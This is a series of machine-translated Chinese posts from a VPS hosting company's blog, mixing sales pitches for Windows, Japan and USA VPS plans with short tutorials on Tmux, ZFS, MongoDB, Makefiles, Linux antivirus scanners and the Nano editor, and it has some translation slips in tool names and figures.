VPS hosting 代表虚拟专用服务器,使用虚拟化技术将一个强大的服务器划分为多个虚拟服务器。每台 VPS 服务器都有自己的 CPU、RAM 和存储器。VPS 提供了根据您的业务需求配置您的环境的灵活性。根据服务器使用的操作系统,VPS 托管可以分为两种类型,即 Linux VPS 托管和 Windows VPS 托管。如果你觉得很难选择一个可靠和便宜的 Windows VPS 主机,你可以从这个教程中得到帮助。本文将向您介绍选择 Windows VPS 托管计划的五大理由。如果您打算购买自己的 Windows VPS 服务器,请查看 Eldernode 网站上提供的软件包。
介绍选择 Windows VPS 托管方案的理由
Windows VPS 主机是一种使用 Windows 界面和 Windows 服务器管理的操作系统。您可以在 Windows VPS 服务器上安装您自己的自定义软件,并根据您的业务需求使用它。如果您的业务需要您一天 24 小时在线或安装自己的软件,那么 Windows VPS 服务器是您的好选择,因为它没有预装程序。它允许您在网站的任何领域使用 Windows VPS。
Windows VPS 托管功能
让我们列出 Windows VPS 托管的主要功能:
–云托管
–价格合理
–高性能
–确保您网站的安全性
–提供对服务器的高级访问
在这篇来自 Windows 培训系列的文章的续篇中,我们将讨论选择 Windows VPS 托管的原因。
2022 年选择 Windows VPS 托管的 5 个理由
Windows VPS 托管是在一台服务器上运行多个站点的一种经济实惠的方式。它也易于设置和管理。在这一部分,我们将讨论有助于您选择 Windows VPS 托管计划的原因。
1-更快的带硬盘(SSD 或 NVMe)的服务器
NVMe 硬盘是硬盘和计算机硬件中的一种新型架构,通过放置在 PCI Express 端口中为系统创造了极高的速度。这些硬盘提供的速度比其他硬盘高得多,而且这些硬盘使用的技术也非常先进,被认为是计算机世界的成功标准。NVMe 的高功率使得在硬盘上读写信息的速度极高。
SSD 硬盘是老 HDD 硬盘的更新技术。事实上,SSD 硬盘被认为是一种使用 USB 闪存技术的固态硬盘。这些硬盘的能耗低得多,并且更能抵抗溢出和功率波动。它使用控制器执行读写操作,该控制器是 SSD 硬盘的主控制器。SSD 不需要进行碎片整理,这些硬盘驱动器的结构也完全不会变慢。
2-位置
当选择 Windows VPS 托管位置时,您应该注意的第一件事是服务器位置是否靠近您的国家。您的国家与服务器所在国家之间的距离越小,数据包通过互联网传输的速度就越快,延迟就会减少,连接质量也会更好。
另一点你在选择地点时要注意的是你的目标用户来自哪个国家。要设置只在一个国家工作的本地服务器,您需要从同一个国家获得服务器。在这种情况下,对于目标用户来说,站点的加载速度会更快。但是为了建立一个国际化的网站,你需要从一个硬件最好、故障最少的地方获得服务器。
3- Windows VPS 操作系统
在选择 Windows VPS 操作系统时,可以使用 Windows Server 2012、Windows Server 2016、Windows Server 2019、Windows 10。Windows Server 操作系统的第六个版本是 Windows Server 2012 R2 版。此版本的 Windows Server 基于 Windows 8.1。
Windows Server 2016 是 Windows Server 的第七个版本,是 Windows NT 系列操作系统的一部分。该操作系统是 Windows Server 2012 R2 版的继任者。它有各种内部服务,高安全性和运行重型软件的能力,以提供更好的服务。
Windows Server 操作系统的第八个版本是 Windows Server 2019。该版本的 Windows server 接替了 Windows Server 2016,比前几代更快、更安全、更完整、质量更好。它托管不同的 Windows 软件,其中的一些附加服务已被新服务取代。
Windows 10 是一系列操作系统,是 Windows 8.1 的继任者。软件的流畅运行,Windows 10 的最优性能,图形或分析软件的快速执行,其性能都是可以提及的积极点。
4-为多个网站提供更多空间
选择 Windows VPS 托管服务的最大优势之一是,与共享虚拟主机服务相比,你可以使用更多的空间。这意味着,当您向帐户添加更多站点时,您不必担心磁盘空间不足。
A- CPU
CPU 代表中央处理器,是每个数字设备的基本组件之一。它监督所有排队的进程,并以最快的方式逐一执行它们。每个内核一次可以处理一个进程。多核处理器可以并行处理多个计算指令。服务器中需要的处理器内核数量与您打算在服务器上运行的操作类型直接相关。一些操作使用 2 个内核运行良好,而一些较重的处理需要 4 个 CPU 内核。核心的数量使得程序的工作范围更广,效果更好。例如,电子邮件服务器可以使用 4-8 个内核,甚至更多内核来提高性能。
B 带宽
在购买 VPS 时,估算网站所需带宽是最重要的事情之一。带宽是对进出 VPS 的总位数的定量测量。每个进入你网站的访问者都会下载网站页面的所有组件。这些组件包括图像、CSS 和 HTML 代码以及 JavaScript 文件。服务器和用户之间的所有这些数据传输包括数据传输或带宽。如果你获得了 Windows VPS 的无限带宽,你可以在任何时间从任何地点远程访问服务器活动。
5-更好的安全与 24/7 支持
因为你的数据存储在自己的分区上,你不必担心黑客会访问你网站的数据库。
此外,如果你正在寻找一个可靠的虚拟主机提供商,那么你应该考虑选择 Windows VPS 托管计划。有了我们全天候的支持团队,您将永远不必担心网站的技术问题。
结论
Windows VPS 服务器附带了增强的服务,如高内存、充足的存储空间、宽带宽等。在本文中,我们解释了选择 Windows VPS 托管计划的五大理由。如果你有任何疑问或问题,可以在评论区联系我们。我希望你喜欢这篇文章,它对你有用。
选择日本 VPS 主机的 5 个理由
原文:https://blog.eldernode.com/5-reasons-to-choose-japan-vps/
如果你想自己创业,你可以选择日本 VPS 主机。日本 VPS 帮助您更好地经营您的企业,并能解决您的所有问题。这篇文章将向你介绍选择日本 VPS 主机的 5 个理由。
介绍日本 VPS 主持
VPS 或虚拟专用服务器是一个专用服务器,它使用虚拟化技术被分成几个虚拟服务器。这些部分在使用硬件方面是一样的,虚拟服务器的价格比其他服务器便宜。事实上, VPS 只是服务器的一小部分。当你有了 VPS,虚拟服务器的所有空间都由你单独支配。但是网络和对服务器的访问是共享的。日本 VPS 主机是常规虚拟主机的发展,提供了更高的灵活性。
在这篇文章的继续,我们将讨论选择日本 VPS 主机的 5 个原因。
速度快
在 Eldernode 网站上提供的日本 VPS 主机提供网络终极带宽和安全连接,为您的企业提供高速连接。这将有助于访问者获得最佳的用户体验。我们提供最高的日本 VPS 主机连接 1-10gb。无论您身在何处,都可以享受流畅的浏览体验。
99.9%的正常运行时间保证
每个网站所有者都希望他们的网站总是对访问者开放。虚拟主机提供商通常在他们的服务条款中包含正常运行率保证。正常运行时间是服务可用的时间百分比。它让你知道虚拟主机服务有多可靠,以及你希望你的网站在大部分时间都能被访问者访问的频率。
我们可用的日本 VPS 主机有 99.9%的正常运行时间保证。这意味着它应该在 99%的时间里对用户可用。用户不可用的 1%是由于 DDoS 攻击、电源故障或其他不可预测事件导致的计划维护窗口或短暂中断。
高性能
VPS 服务器性能就是你网站的加载速度。托管服务提供商,计划,以及你选择的位置对你的网站性能有很大的影响。亚洲地区性能最好的 VPS 服务器是日本。我们可用的日本 VPS 主机具有高性能,允许您利用日本的高速互联网连接。此外,它有助于您从您的网站获得更好的性能。
高可靠性
用户可以从您选择的 VPS 托管服务中获得可靠性。您应该确保您将可以使用的服务器的可靠性水平,以便您可以大致猜测更新时间的水平。服务器的可靠性取决于服务器管理。我们的日本 VPS 主机有很高的可靠性。
我们专家团队的全天候支持
我们可用的日本 VPS 主机提供 24/7 的专门支持,这意味着一旦出现问题,您可以获得帮助并找到答案。Eldernode 网站上的售票系统和实时聊天一年 365 天、一周 7 天、一天 24 小时开放。这意味着您可以从我们的专家团队获得快速响应。
结论
日本 VPS 主机是常规网络主机的发展,可以在虚拟化平台上运行。无论虚拟空间有多大,您都可以轻松管理它。在这篇文章中,我们介绍并解释了选择日本 VPS 主机的 5 个原因。希望这篇文章对你有用,对你有帮助。如果你有任何疑问或者有任何问题,可以在评论区联系我们。
选择 VPS USA 作为您的 VPS 托管提供商的 5 个理由
如今,在世界各地,拥有一个网站对所有企业都是必不可少的。因为信任虚拟空间并在网上购物和订购的人数每天都在增加。另一方面,对于国外的商家或身在国外的客户来说,拥有一个固定的、专属的国外 IP,本质上是有效的,对人的生意是积极的。吸引众多客户的国外 IP 之一是独家美国 VPS。这篇文章将解释选择美国 VPS 作为你的 VPS 主机提供商的 5 个理由。
选择美国 VPS 作为您的 VPS 托管提供商
VPS USA 是指位于特定地理位置的虚拟服务器。这些服务器用于特殊情况下,用户需要显示他们的身份在该位置做事情,或者用于优化搜索引擎的网站和在目标国家更多地显示网站等主题。美国虚拟专用服务器有一个专用的 IP 地址,这个 IP 属于同一个国家。只要你更新你的美国 VPS 服务,IP 将由你支配,不会改变。
1-您的数据将安全存放在美国 VPS 主机
只有你可以访问你的数据,这确保了信息的安全性。您可以设置防火墙来保护您的数据免受欺诈。防火墙可以阻止不必要的服务器连接,同时允许正常访问者访问网站。其他虚拟主机服务无法在其服务器上设置防火墙,容易受到攻击。在这种情况下,恶意软件可以攻击您的网站。在美国 VPS 服务器部件被隔离,这种情况不会发生。
此外,您可以使用 cPanel 病毒扫描程序等工具来检查和扫描您的 VPS 是否有恶意软件和病毒。用户可以通过选择 CDN 来避免黑客攻击。使用 CDNs,所有可疑和恶意的请求在到达主服务器之前被中间服务器识别和阻止。
2-美国 VPS 允许你扩展你的网站
主机影响网站成长的一个重要特征就是可扩展性的程度。您可以随着业务的增长扩展您的服务能力,并且只需点击几下鼠标和额外的费用就可以增加廉价美国 VPS 中的资源。可伸缩性允许你不时地检查你的网站的性能,更有效地利用你的资源。
3-美国 VPS 速度快
高正常运行时间的美国 VPS 对于关心系统和网站速度的人来说是一个很好的选择。它可在 Eldernode 网站上获得,并提供 1-10 千兆字节的最高美国 VPS 连接。此外,VPS 托管在美国提供安全的连接和网络终极带,你可以连接到您的业务与快速使用此 VPS。
4-它提供了使用管理计划 的可能性
美国虚拟专用服务器提供了使用管理或非管理计划的可能性。非托管设计就像是你可以使用的部件,你最终必须将它们组合在一起,管理和配置这些部件的任务将由你来完成。但是在管理计划中,专家会为你做这些。出于这个原因,大多数人欢迎托管计划,我们在 Eldernode 网站上提供托管 VPS。
5-我们的专家团队提供全天候支持
Eldernode USA VPS 提供 24/7 全天候专门支持。这意味着我们一年 365 天,一周 7 天,一天 24 小时回答您的问题。任何时候你面临任何问题或有疑问,我们的专家团队随时准备解决你的问题。如果您从我们这里购买 VPS,我们会提供不同的地点,包括:芝加哥、纽约、洛杉矶、迈阿密、西雅图和凤凰城。
结论
美国 VPS 是吸引众多客户的国外 IP 之一。在这篇文章中,我们解释了选择 VPS USA 作为您的 VPS 主机提供商的 5 个原因。我希望这篇教程能帮助你选择美国 VPS,并对你有用。如果你有任何关于购买 VPS 的问题,你可以在评论区联系我们。
今天开始使用 Tmux 的 5 个理由
原文:https://blog.eldernode.com/5-reasons-to-start-using-tmux-today/
Tmux 代表 Terminal MUltipleXer,它是流行的 GNU screen 工具的简单而现代的替代工具。Tmux 的主要用途是能够同时使用几个终端,能够在它们之间轻松切换,能够在后台运行程序,能够在不同的会话之间划分终端屏幕。在本文中,我们将解释今天开始使用 Tmux 的 5 个原因。需要注意的是,如果你想购买一台 Linux VPS 服务器,可以访问 Eldernode 网站上提供的套装。
Tmux 是什么?
Tmux 是一个替代 GNU 屏幕的多路复用器。换句话说,这意味着您可以启动一个会话,然后在该 Tmux 会话中打开多个窗口。每个窗口占据整个屏幕,可以分成矩形面板。有了 Tmux,你可以在一个终端上轻松地切换多个程序,断开它们的连接,并把它们连接到另一个终端上。Tmux 会话是持久的,这意味着在 Tmux 中运行的程序即使被终止也会继续运行。Tmux 中的所有命令都以前缀开头,默认情况下是 ctrl+b。
在这篇来自 Linux 教程系列的文章中,加入我们开始使用 Tmux 教程的理由。
这使得同时处理许多不同的程序变得更加容易
Tmux 是一个终端多路复用器,允许用户创建多个终端会话。换句话说,你可以在终端窗口中同时运行多个程序。因此,这将使同时处理许多不同的程序变得更加容易。
一个窗口内可以有多个终端
我们将用一个例子来解释这一部分。假设用户想要测试应用程序是否正确运行。请注意,这样做需要第二个终端窗口,但是您可以创建一个新会话作为第二个终端会话。通过这种方式,您将能够在一个窗口中拥有多个终端。
你可以在它们之间轻松切换
使用 Tmux,您可以轻松地在不同的终端之间切换。按下 Ctrl+B 并输入 o ,就可以进入的下一页。也可以通过按下 Ctrl+B 并键入;您可以在两个窗口之间切换。
如果你想关闭一个窗口,你需要按下 Ctrl+B 和键入 x 。
当你不在终端窗口中工作的时候,你不需要让它们开着
Tmux 的另一个特点是,当你不在里面工作时,你不需要打开 Windows 终端。因此,您将能够从当前终端断开 Tmux。通过这样做,你所有的应用程序将在后台运行,没有任何问题。
让所有程序同时运行可以节省时间
正如前面几节所解释的,Tmux 的特性之一是能够同时运行多个程序。你可以同时运行你所有的程序。所以你这样做可以节省时间。
结论
当使用 ssh 连接到远程机器时,Tmux 非常有用。在本文中,我们试图为您解释今天开始使用 Tmux 的 5 个原因。如果你有任何问题,可以在评论区和我们分享。
从 LVM 转到 ZFS 的 5 个理由
原文:https://blog.eldernode.com/5-reasons-to-switch-from-lvm-to-zfs/
文件系统是一个组织数据并检查信息如何在磁盘上写入和读取的系统。没有文件系统,你将不能做任何与文件相关的事情。有不同类型和数量的文件系统,它们在各个方面互不相同,这可以称为操作系统对该文件系统的支持。ZFS 和 LVM 也是文件系统的类型,这篇文章将向你介绍从 LVM 转到 ZFS 的 5 个理由。你可以查看 Eldernode 网站上提供的软件包,购买自己的 Linux VPS 服务器。
介绍 LVM&ZFS
ZFS 代表 zettabyte 文件系统,是一个逻辑卷管理器和本地文件系统。太阳微系统公司创建了 ZFS 来指导和控制企业级计算系统中数据的放置、存储和检索。该文件系统支持写入时复制和卷管理器,它们具有强大的功能,并包括方便的功能,如快照和克隆。
LVM 代表逻辑卷管理,是存储虚拟化的一种形式。它用于系统中硬盘数量增加的情况,并在硬盘分区领域为您提供许多功能。这种文件系统允许操作系统在多个硬盘上集中、分布式或组合地创建和管理分区。
1- ZFS 比 LVM 更容易管理
ZFS 的管理简单易行。它使用分层文件系统和自动 NFS 共享管理,从而可以轻松创建和管理文件系统,而无需使用多个命令或编辑配置文件。您可以轻松设置或调度、启用或禁用压缩。随时都有可能拍快照。
2-它集成了卷管理和文件系统
ZFS 可以执行基本文件系统无法执行的各种与卷相关的任务。通常,它将卷管理与文件系统集成在一起。该文件系统为您提供数据文件管理,如分层存储和缓存管理、数据压缩和重复数据删除,以实现最高的操作系统速度和性能。
3-读写效率高
ZFS 会自动写入文件系统中具有最多可用磁盘空间的区域。它的高级卷管理有助于提高读写效率。在 ZFS 的帮助下,文件系统知道底层的磁盘结构。当向池中添加更多磁盘时,这种意识允许现有文件系统自动增长。
4-它具有可扩展性和更好的性能
ZFS 文件系统的一个关键设计元素是可伸缩性和更好的性能。文件系统本身是 128 位,允许 256 万亿兆字节的存储空间。所有元数据都是动态分配的,因此在分配或扩展之前不需要创建文件系统。目录可以有无限多的条目,文件系统的数量或者可以放入一个文件系统的文件的数量没有限制。
5- ZFS 镜像协议兼容较新的 SSD 设备
镜像由多个设备组成,所有数据都写入所有成员设备。在镜像中,您需要在几个设备上工作,但是对于一批数据,所有注册的设备都可以访问一批数据。ZFS 和 LVM 都有镜像协议,但 ZFS 镜像协议可以顺利地与较新的 SSD 设备配合使用。这使得 ZFS 比 LVM 更受欢迎。
我们的网站提供经济实惠的 Linux VPS 包,如果你需要的话可以提供。
结论
ZFS 是一种新的文件系统,具有任何其他文件系统都不具备的功能和优势。在这篇文章中,我们解释了从 LVM 转到 ZFS 的 5 个原因。我希望这篇教程对你有帮助。如果您有任何问题或建议,可以在评论区联系我们。
MongoDB 优于 MySQL 的 5 点
原文:https://blog.eldernode.com/5-things-that-make-mongodb-better-than-mysql/
实现一个应用程序或网站最重要的部分之一是选择一个数据库。程序员根据系统需求和偏好使用的数据库有很多。在本文中,我们将解释使 MongoDB 优于 MySQL 的 5 点。如果你想购买 VPS 服务器,你可以访问 Eldernode 网站上提供的计划。
为什么 MongoDB 比 MySQL 好?
MySQL 简介
MySQL 是最流行的关系数据库管理系统之一,它是开源的,用于许多 web 应用程序的开发。RDBMS 帮助您:
–用必要的行和列以及相应的索引实现您的关系数据库。
–合并不同表格的行。
–通过 SQL 命令访问和收集数据库数据。
–MySQL 功能强大、速度快,在大型项目中用于处理庞大的数据集。该系统适用于任何操作系统,支持 PHP、Java 等多种语言。
MongoDB简介
MongoDB 是最著名的 NoSQL 数据库之一,结构灵活,多用于数据量大的项目。该数据库是一个开源的免费平台,使用面向文档的数据模型,可以在 Windows、Macintosh 和 Linux 上使用。
数据以 BSON 格式存储在相应的文档中,这与 JSON 类似,但支持更多的数据。这些值与两个主键(Primary Key)和辅键(secondary key)一起使用。
MongoDB 可以在任何级别的应用程序中使用。但是对于大数据和 Hadoop 相关的应用,推荐使用 MongoDB。目前,MongoDB 是在开发用 NodeJS 编写的服务器端应用程序的过程中充分使用的数据库之一。
让 MongoDB 优于 MySQL 的 5 个理由
在本文的后续部分,我们将解释使 MongoDB 优于 MySQL 的 5 点。
1) 综合特性
在开发过程中,您可能需要一些工具。例如,数据分析和可视化、文本搜索、图形处理等。现在,如果你使用 RDBMS 系统,一个主要的问题是你必须使用不同的工具来做这件事。这些工具还必须单独与您的数据库系统集成。但是 MongoDB 在内部为您带来了这些特性,并让您能够在很短的时间内将所有这些特性集成在一起。
2) 降低 TCO
TCO 意味着项目所有者的总成本。通常,在项目中使用 MongoDB 比其他数据库系统花费更少。除此之外,由于使用 MongoDB 会更快、相对更容易,所以您需要更少的开发人员来管理系统。
3) 数据分发平台
通过考虑以地理上分布的方式运行的数据中心,MongoDB 提供了新水平的可伸缩性和可用性。在这种情况下,应用程序不会受到影响,数据库系统的可伸缩性也会变得更加灵活。
4) 支持 NOSQL 语言的所有优势
这种数据库的 NOSQL 或非关系性质,使得 MongoDB 享受到了非关系数据库的所有好处。所以可以说这个数据库隐含了这三个特点:
可扩展:数据量的增加和数量的巨大变化不会影响性能。
高效:这个数据库是高效的,可以用于敏感的大案要案,用最少的设施会有最好的效率。
灵活:这意味着您有可能将该数据库用于许多事情,而不仅仅是某一类型的数据(例如大数据)。
5) 简单的用户界面和快速设置
快速简单的安装、设置和实现是 MongoDB 的另一个优势。它比 RDBMS 更快、更容易建立,并提供了现代的 JavaScript 框架。此功能允许用户放心地选择 NoSQL 结构。它还提供了比 SQL 数据库更快的学习和培训机会。
结论
在本文中,我们试图解释使 MongoDB 优于 MySQL 的 5 点。每个数据库都有自己的特点和用途。另一方面,MongoDB 灵活的结构将允许您存储项目实现可能需要的所有类型的数据。如果您有使用 MySQL 或 MongoDB 等关系数据库的经验,请与我们分享您的观点。
5 个 Tmux 快捷方式加快您的工作流程
原文:https://blog.eldernode.com/5-tmux-shortcuts-to-speed-up-your-workflow/
通过快捷方式使用 Tmux 要容易得多。Tmux 有许多您可以使用的快捷方式,学习一些快捷方式会非常有用。本文将向您介绍 5 种 Tmux 快捷方式来加快您的工作流程。如果你打算购买自己的 VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
如何加快工作流程
Tmux 是 Unix 操作系统的终端多路复用器。您可以从单个终端创建几个伪终端,并运行单独的进程或命令,同时预览输出。事实上,它允许你在同一个终端中创建多个窗口和窗格,并在一个终端中的多个程序之间轻松切换。这个终端会话将你的程序从主终端上解耦,以防止它们意外断开。
1-分割窗格
Tmux 管理终端,为您提供方便。您可能经常需要在终端中同时运行几个命令,并同时监控命令的输出。Tmux 不需要打开多个终端窗口,而是允许您将一个终端分割成多个部分,在分割的终端中运行命令,并在一个终端中查看输出。要垂直拆分页面,请使用 Ctrl+b+% 键:
要水平分割页面,使用 Ctrl+b+" 键:
2-导航并选择一个窗格
有三种方法可以在面板之间导航。第一种方法是按下 Ctrl+b 键,然后使用箭头键移动到所需面板。
第二种方法是使用快捷键 Ctrl+b+o 。每次完成后,活动面板会切换到下一个面板。
第三种方法是使用每个面板的编号。这种方法适用于在屏幕上同时打开许多面板的情况。
3-切换全屏放大/缩小窗格
您可以使用 Ctrl+b+z 键放大特定面板或全屏显示面板。按下此组合键一次,活动面板将以全屏模式显示。如果您重复相同的命令,即 Ctrl+b+z,它将退出缩放和全屏模式。
4-关闭窗格
如果您使用完一个窗格并打算永久关闭它,您可以使用 Ctrl+b+x 。此时,您将被要求确认,确认时,按下 Y 键,取消时,按下 N 键。
可以使用 Ctrl+b+d 暂时退出 Tmux 环境。这样,您将退出该会话,而不会关闭 Tmux 中打开的程序,也不会中断它们的执行。
5-创建和关闭窗口
除了不同的面板,Tmux 还允许您创建不同的窗口,每个窗口可以包含几个窗格。按 Ctrl+b+c 创建窗口, Ctrl+b+w 查看窗口列表, Ctrl+b+ & 关闭窗口。你可以用 Ctrl+b+n 移动到下一个窗口,用 Ctrl+b+p 移动到上一个窗口。
结论
Tmux 是一个终端多路复用器,有许多快捷方式。在本文中,我们向您介绍了 5 种 Tmux 快捷方式来加快您的工作流程。我希望这篇教程对你有用,并帮助你找到 Tmux 快捷方式来加速你的工作流程。如果您有任何问题或建议,可以在评论区联系我们。
使用 Make 文件自动化 Linux 构建的 5 种方法
原文:https://blog.eldernode.com/5-ways-to-automate-your-linux-builds-with-make-files/
如果您的项目有许多文件,翻译和链接它们将需要时间。要解决这个问题,您可以将命令保存在项目旁边的一个名为 Make File without extension 的文本文件中,以特定格式翻译您的程序。本文将向您介绍用 Make 文件自动化 Linux 构建的 5 种方法。查看 Eldernode 网站上提供的软件包,购买自己的购买 Linux VPS 主机。
用 Make 文件自动化 Linux 构建
Make 是一个 Unix 实用程序,用于在更新特定文件时运行或更新任务,并且需要一个 Make 文件来定义一组要运行的任务。Make 文件是编译软件项目所必需的一组命令,以特殊格式存储在文本文件中。如果在 make 文件目录中键入 make,将执行 make 文件中的命令。Make 文件还包含一个规则列表,它将告诉系统您想要执行什么命令。这里有 5 种用 Make 文件自动化你的 Linux 构建的方法。
在这篇来自 Linux 培训系列的文章的续篇中,您将学习如何以 5 种方式用 Make 文件自动化您的 Linux 构建。
1-安装 GNU Make
GNU Make 是一个从 Make 文件中获取知识来构建程序的工具。为每个非源文件制作文件列表,以及如何从其他文件中计算它们。控制从源文件程序生成程序的可执行文件和其他非源文件。事实上,GNU Make 包含了从程序的源文件生成程序的可执行文件和其他非源文件。
在 Linux 操作系统中,make 程序可能已经安装。如果没有安装,请按照下面的说明进行安装。
如果你使用的是 Ubuntu/Debian ,输入以下命令安装 GNU Make:
apt install make
您可以通过安装发行版附带的开发工具来充分利用 make:
apt install build-essential
要在 Fedora/RHEL 上安装 GNU Make,运行以下命令:
yum install make
如果您想充分利用 make,请安装如下所示的开发工具:
yum groupinstall ‘Development Tools’
在 Arch/Manjaro 上安装 GNU Make,使用以下命令:
pacman -S make
输入以下命令安装开发工具:
pacman -S base-devel
2-为你的项目创建一个新目录
首先为你的项目创建一个新目录,运行以下命令:
mkdir new-directory
现在,使用下面的命令检查是否创建了目录:
ls -l
3-添加一个名为 Makefile 的文件
在第一步中,您应该导航到创建的目录以添加 Makefile 文件。为此,请运行以下命令:
cd
导航到该目录后,可以使用以下命令向其中添加 Makefile:
touch Makefile
您也可以使用文本编辑器将 Makefile 添加到目录中,如下所示:
nano Makefile
您可以使用以下命令检查是否添加了文件:
ls
4-写一些规则
现在是时候为 Makefile 写一些规则了。如果要这样做,Makefile 规则的一般语法如下:
target [target...] : [dependent ....] [ command ...]
你可以在括号中写下你想要的参数,有可选的。请注意,省略号表示一个或多个,每个命令前需要有制表符。
例如,如果您想要定义一个规则,使您的目标从其他文件中 hello,请编写如下规则:
hello: main.o factorial.o hello.o $(CC) main.o factorial.o hello.o -o hello
如果命令返回失败状态,您应该使终止,如下所示:
clean: -rm *.o *~ core paper
Make 会忽略命令行上以破折号开头的返回状态。
每个人都希望 Makefiles 中有特定的目标。你可以期待所有的目标被发现制造,安装和清洗:
1- make all: 编译所有东西,在安装应用程序之前进行本地测试。
2- make install: 在正确的位置安装应用程序。
3-清理:清理应用程序,清除可执行文件、任何临时文件、目标文件等。
5-润使
make 实用程序在 makefile 被读取和解释时工作。要运行 make,请输入以下命令:
make
现在 GNU make 将寻找一个名为 makefile、Makefile 或 GNUmakefile 的文件。一旦找到其中一个 makefiles,就会构建第一个目标。
如果 make 找不到合适的 makefile,您将看到以下错误:
make: *** No targets specified and no makefile found. Stop.
您可以使用 -f 选项来指定 makefile。make 命令语法如下:
make -f <i>filename</i>
记住要替换 makefile 的名称,而不是文件名。
如果您想从 makefile 中定义的几个目标中构建一个特定的目标,请在运行 make 时使用下面的语法:
make target
就是这样!
结论
Make Files 定义了一组要执行的任务,您可以使用它从源代码编译程序。在本文中,我们向您介绍了使用 Make 文件自动化 Linux 构建的 5 种方法。如果你有任何问题或建议,可以在评论区联系我们。我希望这篇教程对你有用,并帮助你自动化你的 Linux 构建。
简介 6 2022 年 Linux 免费杀毒- Eldernode 博客
从 20 世纪 90 年代早期开始,反病毒被认为是计算机系统的强制和默认工具。随着时间的推移,随着网络罪犯的出现和更专业的黑客工具的发展,反病毒软件变得越来越复杂和先进。本文将介绍 2022 年 Linux 的 6 款免费杀毒。另外,如果你想购买一个 Linux VPS 主机,你可以访问 Eldernode 中可用的软件包。
2022 年 6 款 Linux 免费杀毒
什么是杀毒?
防病毒软件是一种工具,它可以监控个人电脑上的应用程序,并找出不应该安装在您的设备上的匿名应用程序。反病毒病毒使用各种方法来区分个人文件,如文本文件和恶意文件和应用程序。一些防病毒软件具有即时功能,可以自动阻止病毒和恶意软件运行。此外,他们甚至会阻止恶意网站浏览或打开包含恶意软件的电子邮件。属于修复工具类别的其他工具应该定期运行以扫描系统。事实上,它们是在系统被感染后才行动的。
Linux 服务器前 6 名免费杀毒
1。chroot kit
Chkrootkit 是免费和开源的,用于检测 rootkit 的存在。Rootkit 是 Linux 操作系统上的一个恶意程序,它在用户不注意的情况下控制了系统。这意味着 rootkit 可以执行文件和更改系统设置。chkrootkit 是一个流行的安全扫描器,帮助管理员检查他们的系统,并找出系统是否感染了 rootkit 恶意软件。你可以从其官网下载 chkrootkit 。
Chkrootkit 功能:
- 适用于多个 Linux 发行版
- 检测最新的 rootkits 和各种恶意软件和木马,如后门,TinyNDS
- 便携式轻量级程序
- 修改 wtmp 和 lastlog 文件,向管理员发出攻击警告
2。Rootkit 猎人
Rootkit Hunter 是 Linux 操作系统上的一个小工具,它使用后门和其他本地实用程序来检测特洛伊木马和病毒。Rootkit Hunter 通过扫描文件的未指定更改来检测 Rootkit。你可以从官方网站下载 Rootkit Hunter。
Rootkit Hunter 功能:
- 便携、轻量和快速的程序
- 支持许多 Linux 发行版
- 使用命令行界面
- 使用 SHA-1 哈希比较来扫描和检测恶意软件
3。叫
ClamAV 是用于 Linux 操作系统的开源命令行扫描程序,可以检测病毒、特洛伊木马、恶意软件和其他威胁。ClamAV 支持多种文件格式,并使用多线程扫描仪功能。可以从其官网下载 ClamAV 。
ClamAV 功能:
- 支持多语言
- 支持兼容的 POSIX
- 可移植的免费程序
- 扫描多种文件格式和邮件网关
- 提供病毒数据库更新
4。sophos
Sophos 是一款反病毒软件,它可以检测并清除各种 Linux 发行版中的病毒,包括特洛伊木马。Sophos 还检测和阻止可能存储在您计算机上的非 Linux 病毒,防止您的 Linux 系统受到来自您可能正在使用的其他操作系统的恶意软件的影响。你可以从 Sophos 的官方网站下载 Sophos。
Sophos 的特点:
- 通过按需扫描来检测和阻止恶意软件
- 以 root 用户身份从命令行界面执行所有命令
- 使用实时防护实时查找恶意文件
- 扫描本地和网络驱动器的配置
- 保护您的 Linux 免受 Android、Windows 和 Mac 的病毒和恶意软件的侵害
- 具有强大的启发式检测和实时扫描功能
5。f-Prot
F-Prot 是一个免费的反病毒程序,为 Linux 家庭用户提供按需扫描程序,使他们的系统远离恶意软件。F-Prot 扫描勒索软件、引导扇区病毒和其他恶意威胁。可以从其官网下载 F-Prot 。
F-Prot 功能:
- 使用图形用户界面或命令行
- 可移植程序
- 扫描已知威胁及其类型的庞大数据库
- 执行预设扫描
- 检测不同类型的危险,包括靴子部分
- 确保抵御宏病毒、引导扇区病毒和特洛伊木马的安全性
6。魔岛
Comodo 是用于 Linux 的免费杀毒软件,也称为 CALV,包括按需扫描程序、实时行为分析和反网络钓鱼保护。默认情况下,Comodo 会自动改变浏览器和原来的搜索引擎。Comodo 保护电脑免受所有外来威胁。它会自动更新,以保持病毒库最新,以确保定期安全。你可以从 Comodo 的官方网站下载 Comodo。
魔岛特色:
- 自定义扫描配置文件
- 定期和自动更新
- 针对零日恶意软件提供基于云的 360 度防护
结论
在本文中,我们介绍了 6 款免费的 Linux 杀毒软件。Linux 的安全环境比 Windows 好,但杀毒软件对任何电脑都是必不可少的,随着恶意软件和病毒的传播,你应该有最大的安全性。我希望这篇教程有助于找到适合 Linux 的杀毒软件。
从 Vim 转向 Nano 的 7 个理由
原文:https://blog.eldernode.com/7-reasons-to-switch-from-vim-to-nano/
在命令行上工作时,您经常需要创建或编辑文本文件。Vim 和 Nano 是两个最强大和最流行的命令行编辑器。但是有些人更喜欢用 nano 而不是 vim。本文将向您介绍从 Vim 转向 Nano 的 7 个理由。如果你打算购买一台 Linux VPS 服务器,你可以在 Eldernode 网站上查看提供的软件包。
介绍从 Vim 切换到 Nano 的原因
Linux 发行版有不同的编辑器,其中一些编辑器由于其通用性和易用性而比其他编辑器更受欢迎。在这个领域的杰出编辑中,我们可以提到 Vim 和 Nano。最流行的 Linux 编辑器之一是 Nano。Nano 是一个简单的基于终端的文本编辑器,创建于 1999 年,用于 Unix 和 Linux 操作系统。
Vim 代表 Vi 改进版,是一个基于终端的 Unix 文本编辑器,于 1991 年随 Linux、BSD 和 macOS 一起推出。它是 Vi 的增强版,可以帮助你编辑程序文件和纯文本文件。
1- Nano 简单易用
Nano 最适合初学者,可以让他们很快上手。它足以编辑测试文件。但是为了能够使用 Vim,您应该是一个稍微有经验的 Linux 用户。初学者可能会对 Vim 的编辑和命令模式感到困惑。一般来说,Vim 使用起来很复杂,很先进,但是 Nano 很简单。
2-它在单模式下工作
Nano 在单一模式下工作,并且是无模式编辑器。而 Vim 是一个基于模式的文本编辑器,有模式。Vim 文本编辑器的不同命令模式让初学者感到困惑。在基于模型的文本编辑器中,您应该在将文本写入文件之前进入插入模式。
3- Nano 有交互的基本接口
